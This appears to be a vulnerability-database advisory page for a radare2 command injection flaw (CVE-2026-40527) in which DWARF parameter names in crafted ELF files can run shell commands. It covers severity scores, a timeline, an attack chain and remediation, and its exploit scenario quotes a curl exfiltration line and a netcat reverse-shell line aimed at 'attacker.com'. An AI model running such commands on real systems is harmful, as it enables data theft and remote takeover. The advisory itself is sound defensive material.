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Radare2 CVE-2026-40527

| EUVD-2026-23534 HIGH
OS Command Injection (CWE-78)
2026-04-17 VulnCheck GHSA-4pc8-6qgf-fgv2
8.5
CVSS 4.0 · NVD
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Severity by source

NVD PRIMARY
8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
SUSE
7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from NVD.

CVSS VectorNVD

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

7
Re-analysis Queued
Apr 17, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Apr 17, 2026 - 21:22 NVD
7.8 (HIGH) 8.5 (HIGH)
Analysis Generated
Apr 17, 2026 - 21:11 vuln.today
EUVD ID Assigned
Apr 17, 2026 - 20:45 euvd
EUVD-2026-23534
Analysis Generated
Apr 17, 2026 - 20:45 vuln.today
Patch released
Apr 17, 2026 - 20:45 nvd
Patch available
CVE Published
Apr 17, 2026 - 20:25 nvd
HIGH 8.5

DescriptionCVE.org

radare2 prior to commit bc5a890 contains a command injection vulnerability in the afsv/afsvj command path where crafted ELF binaries can embed malicious r2 command sequences as DWARF DW_TAG_formal_parameter names. Attackers can craft a binary with shell commands in DWARF parameter names that execute when radare2 analyzes the binary with aaa and subsequently runs afsvj, allowing arbitrary shell command execution through the unsanitized parameter interpolation in the pfq command string.

AnalysisAI

Command injection in radare2's DWARF parsing (afsv/afsvj commands) allows local attackers to execute arbitrary shell commands by embedding malicious r2 command sequences in specially crafted ELF binaries. When a user opens the malicious binary and runs analysis commands (aaa followed by afsvj), unsanitized DW_TAG_formal_parameter names are interpolated into pfq command strings, triggering code execution. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Craft ELF with malicious DWARF parameter names
Delivery
Distribute to target analyst
Exploit
Victim opens binary in radare2
Install
Victim runs 'aaa' analysis
C2
Victim executes 'afsvj' command
Execute
DWARF parser extracts unsanitized names
Impact
Command injection via pfq interpolation
Step 8
Arbitrary shell command execution

Vulnerability AssessmentAI

Exploitation Attacker must craft an ELF binary with malicious r2 command sequences embedded in DWARF DW_TAG_formal_parameter name fields. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Real-world risk is MODERATE despite the 7.8 CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious ELF binary embedding shell commands (e.g., 'curl attacker.com/exfil?data=$(whoami)' or 'nc -e /bin/sh attacker.com 4444') within DWARF DW_TAG_formal_parameter name fields. A security researcher or malware analyst downloads this binary (disguised as legitimate sample or planted via supply chain compromise) and opens it in radare2. …
Remediation Update radare2 to commit bc5a89033db3ecb5b1f7bf681fc6ba4dcfc14683 or later from the official repository at https://github.com/radareorg/radare2. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: identify all radare2 installations in your environment and determine current versions. …

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Vendor StatusVendor

SUSE

Severity: High

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CVE-2026-40527 vulnerability details – vuln.today

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